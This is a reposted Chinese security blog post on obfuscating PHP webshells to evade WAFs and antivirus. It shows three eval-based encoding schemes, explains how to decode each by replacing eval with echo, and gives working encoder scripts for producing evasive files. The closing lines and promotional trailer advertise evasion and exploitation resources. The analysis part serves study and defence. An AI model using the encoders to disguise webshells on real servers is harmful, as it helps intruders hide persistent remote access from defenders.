Webshell免杀 | 对于某些畸形PHP的加密和解密方法
2023-3-2 23:15:52 Author: Z2O安全攻防(查看原文) 阅读量:29 收藏

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。

文章正文

在Web渗透攻防的情况下,很多时候在前期打点,需要对Webshell进行各种免杀操作来过Waf或者防止防守方的觉察。
这时候,各种PHP的加密算法层出不穷,都是将PHP的执行语句,通过加密的方式内嵌在文件当中,来做到“瞒天过海”。

刚好最近碰到了一个PHP文件,用了两种畸形的加密方式,看了一眼网上好像也没好的文章讲讲怎么分析的,这里就带大家重温一下这两种加密的解密方式。

这种加密方法网上到处都是,算是最简单的,本来不想写的
但和我今天讲的两个主要内容有点相似,这里就提一嘴吧

一个简单的样例如下:

<?php /*Protected by AabyssZG*/
eval(gzinflate(base64_decode('40pNzshXKMgoyMxLy9fQtFawtwMA'))); 
?>
easy-1.png

1.1 解密方法

将代码主题内容放入 $a 中,再访问并执行该PHP即可

<?php
//放入已经加密的PHP内容
$a = "eval(gzinflate(base64_decode('40pNzshXKMgoyMxLy9fQtFawtwMA')));";
function decodephp($a)
{
    $max_level = 300; //最大层数
    for ($i = 0; $i < $max_level; $i++) {
        ob_start();
        eval(str_replace('eval', 'echo', $a));
        $a = ob_get_clean();
        if (strpos($a, 'eval(gzinflate(base64_decode') === false) {
            return $a;
        }
    }
}
//这里注意要加htmlspecialchars,我看好多文章没写
echo htmlspecialchars(decodephp($a));  
?>
easy-2.png

1.2 加密方法

我们先新建一个PHP文件,名字为 phpinfo.php ,里面放上你想要执行的代码,比如:

<?php
echo phpinfo();
?>

然后我们再新建一个PHP文件,名字为 encipher.php ,放入以下代码并保存:

<?php
function encode_file_contents($filename) {
    $type=strtolower(substr(strrchr($filename,'.'),1));
    if('php'==$type && is_file($filename) && is_writable($filename)) {
        // 如果是PHP文件 并且可写 则进行压缩编码
        $contents = file_get_contents($filename);
        // 判断文件是否已经被编码处理
        $pos = strpos($contents,'/*Protected by AabyssZG*/');
        if(false === $pos || $pos>100) {
            // 去除PHP文件注释和空白,减少文件大小
            $contents = php_strip_whitespace($filename);
            // 去除PHP头部和尾部标识
            $headerPos = strpos($contents,'<?php');
            $footerPos = strrpos($contents,'?>');
            $contents = substr($contents,$headerPos+5,$footerPos-$headerPos);
            $encode = base64_encode(gzdeflate($contents));
            // 开始编码
            $encode = '<?php'." /*Protected by AabyssZG*/\neval(gzinflate(base64_decode('".$encode."'))); \n?>";
            return file_put_contents($filename,$encode);
        }
    }
    return false;
}
//调用函数
$filename='phpinfo.php';
//这里填入需要加密的原始PHP文件名
encode_file_contents($filename);
?>

然后再运行PHP环境,访问并执行 encipher.php
成功后是没有回显的,但是 phpinfo.php 里面的内容已经被加密了,自行查看即可

这是上一种加密的进阶版,主要表现在有个循环,看代码:

<?php
function iJG($BHM) { 
$BHM=gzinflate(base64_decode($BHM));
for($i=0;$i<strlen($BHM);$i++) {
$BHM[$i] = chr(ord($BHM[$i])-1);
}
return $BHM;
} eval(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A"));
?>
medium-1.png

这是一个混淆加密的PHP WebShell,让我们看看如何解密

2.1 解密方法

由以上代码可以看出,这是先将 U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A Base64解密后进行Gzip处理,再将解密后的值膨胀,最后经过for循环,return出 $BHM 这个结果

但是做信安这块,一定要学会逆向思维
既然 eval 函数是执行php代码的函数,接收了最终解密的代码并执行,那我直接从这里切入呗:

<?php
function iJG($BHM) { 
$BHM=gzinflate(base64_decode($BHM));
for($i=0;$i<strlen($BHM);$i++) {
$BHM[$i] = chr(ord($BHM[$i])-1);
}
return $BHM;
} echo(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A"));
?>

将 eval 函数 改为 echo 就可以把解密后的PHP代码回显出来了

medium-2.png

我第一次看到这种加密,应该是在一两年前,当时看到真的头痛,这种根本不能手动解密(在实际情况中遇到过上百行的这种嵌套加密方式),来看看一个简单的样例吧:

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};

eval($O00O0O("JE8wTzAwMD0iU0VCb1d4VGJ2SGhRTnFqeW5JUk1jbWxBS1lrWnVmVkpVQ2llYUxkc3J0Z3dGWER6cEdPUFdMY3NrZXpxUnJBVUtCU2hQREdZTUZOT25FYmp0d1pwYVZRZEh5Z0NJdnhUSmZYdW9pbWw3N3QvbFg5VEhyT0tWRlpTSGk4eE1pQVRIazVGcWh4b21UMG5sdTQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
?>

difficulty-1.png

3.1 解密方法

因为里面参数众多,而我们要先看重要参数里面到底有什么:
目光来到 eval 代码里面,因为最终解密的代码将带入里面执行

difficulty-2.png

所以关键就在 $O00O0O 这个里面,那老方法echo出来:

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};

echo $O00O0O;
?>

difficulty-3.png

原来 $O00O0O 是 base64_decode Base64解码函数啊哈哈,那我直接把最后一行拉出来,把 eval($O00O0O 改为 echo(base64_decode

<?php
echo(base64_decode("JE8wTzAwMD0iU0VCb1d4VGJ2SGhRTnFqeW5JUk1jbWxBS1lrWnVmVkpVQ2llYUxkc3J0Z3dGWER6cEdPUFdMY3NrZXpxUnJBVUtCU2hQREdZTUZOT25FYmp0d1pwYVZRZEh5Z0NJdnhUSmZYdW9pbWw3N3QvbFg5VEhyT0tWRlpTSGk4eE1pQVRIazVGcWh4b21UMG5sdTQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
?>

可以看到,第一阶段解密并回显成功了,但还有加密的PHP代码片段:

difficulty-4.png
$O0O000="SEBoWxTbvHhQNqjynIRMcmlAKYkZufVJUCieaLdsrtgwFXDzpGOPWLcskezqRrAUKBShPDGYMFNOnEbjtwZpaVQdHygCIvxTJfXuoiml77t/lX9THrOKVFZSHi8xMiATHk5FqhxomT0nlu4=";
eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));

这时候别慌,因为看到这个代码存在好多原来文件的参数,于是再将这段代码带入到原来的文件中,如下:

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};

$O0O000="SEBoWxTbvHhQNqjynIRMcmlAKYkZufVJUCieaLdsrtgwFXDzpGOPWLcskezqRrAUKBShPDGYMFNOnEbjtwZpaVQdHygCIvxTJfXuoiml77t/lX9THrOKVFZSHi8xMiATHk5FqhxomT0nlu4=";
eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
?>

然后还是老办法,将 eval 函数换成 echo 即可,这里记得一定要加上 htmlspecialchars ,不然代码直接就执行了,看不到解密后的源码了:

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};

$O0O000="SEBoWxTbvHhQNqjynIRMcmlAKYkZufVJUCieaLdsrtgwFXDzpGOPWLcskezqRrAUKBShPDGYMFNOnEbjtwZpaVQdHygCIvxTJfXuoiml77t/lX9THrOKVFZSHi8xMiATHk5FqhxomT0nlu4=";
echo htmlspecialchars('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
?>

difficulty-5.png

成功解密并回显

3.2 加密方法

那有些师傅就想问,那我想要这种的加密怎么办呢?

老样子,我们先新建一个PHP文件,名字为 phpinfo.php ,里面放上你想要执行的代码,比如:

<?php
echo phpinfo();
?>

然后我们再新建一个PHP文件,名字为 encipher.php ,放入以下代码并保存:

<?php
function RandAbc($length=""){//返回随机字符串
$str="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
return str_shuffle($str);
}

$filename='phpinfo.php';  //这里填入需要加密的原始PHP文件名
$T_k1=RandAbc();//随机密匙1
$T_k2=RandAbc();//随机密匙2

$vstr=file_get_contents($filename);//要加密的文件

$v1=base64_encode($vstr);
$c=strtr($v1,$T_k1,$T_k2);//根据密匙替换对应字符。
$c=$T_k1.$T_k2.$c;

$q1="O00O0O";
$q2="O0O000";
$q3="O0OO00";
$q4="OO0O00";
$q5="OO0000";
$q6="O00OO0";

$s='$'.$q6.'=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$'.$q1.'=$'.$q6.'{3}.$'.$q6.'{6}.$'.$q6.'{33}.$'.$q6.'{30};$'.$q3.'=$'.$q6.'{33}.$'.$q6.'{10}.$'.$q6.'{24}.$'.$q6.'{10}.$'.$q6.'{24};$'.$q4.'=$'.$q3.'{0}.$'.$q6.'{18}.$'.$q6.'{3}.$'.$q3.'{0}.$'.$q3.'{1}.$'.$q6.'{24};$'.$q5.'=$'.$q6.'{7}.$'.$q6.'{13};$'.$q1.'.=$'.$q6.'{22}.$'.$q6.'{36}.$'.$q6.'{29}.$'.$q6.'{26}.$'.$q6.'{30}.$'.$q6.'{32}.$'.$q6.'{35}.$'.$q6.'{26}.$'.$q6.'{30};eval($'.$q1.'("'.base64_encode('$'.$q2.'="'.$c.'";eval(\'?>\'.$'.$q1.'($'.$q3.'($'.$q4.'($'.$q2.',$'.$q5.'*2),$'.$q4.'($'.$q2.',$'.$q5.',$'.$q5.'),$'.$q4.'($'.$q2.',0,$'.$q5.'))));').'"));';

$s='<?php
'.$s.'
?>';

echo $s;

//生成 加密后的PHP文件
$fpp1=fopen('temp'.$filename,'w');
fwrite($fpp1,$s) or die('写文件错误');
?>

然后再运行PHP环境,访问并执行 encipher.php
接下来就会在同目录里面生成一个 tempphpinfo.php 这个加密的PHP文件了

  • • 很多时候,碰到我们不会分析的代码,不要着急,很多时候要学会 “智取”

  • • 现在依然还有很多通过PHP特性做免杀的方法,要多总结多归纳

  • • 虽然本篇讲的是PHP,但JSP也同样如此,有时间我可以分享一个VT全绿的JSP马

本文转自 https://blog.zgsec.cn/index.php/archives/147/
作者:
AabyssZG

技术交流

知识星球

致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。

涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 200+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。

交流群

关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。

关注我们

关注福利:

回复“app" 获取  app渗透和app抓包教程

回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍" 获取 网络安全相关经典书籍电子版pdf

回复“资料" 获取 网络安全、渗透测试相关资料文档

往期文章

我是如何摸鱼到红队的

命令执行漏洞[无]回显[不]出网利用技巧

MSSQL提权全总结

Powershell 免杀过 defender 火绒,附自动化工具

一篇文章带你学会容器逃逸

域渗透 | kerberos认证及过程中产生的攻击

通过DCERPC和ntlmssp获取Windows远程主机信息


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247492607&idx=1&sn=8a196925d7d51d7c9cc19001f357946d&chksm=ceab08bff9dc81a9c1ad45290de61ef49f8c01d7ea34f780027cb742ea6c7983d95d8d8a2780#rd
如有侵权请联系:admin#unsafe.sh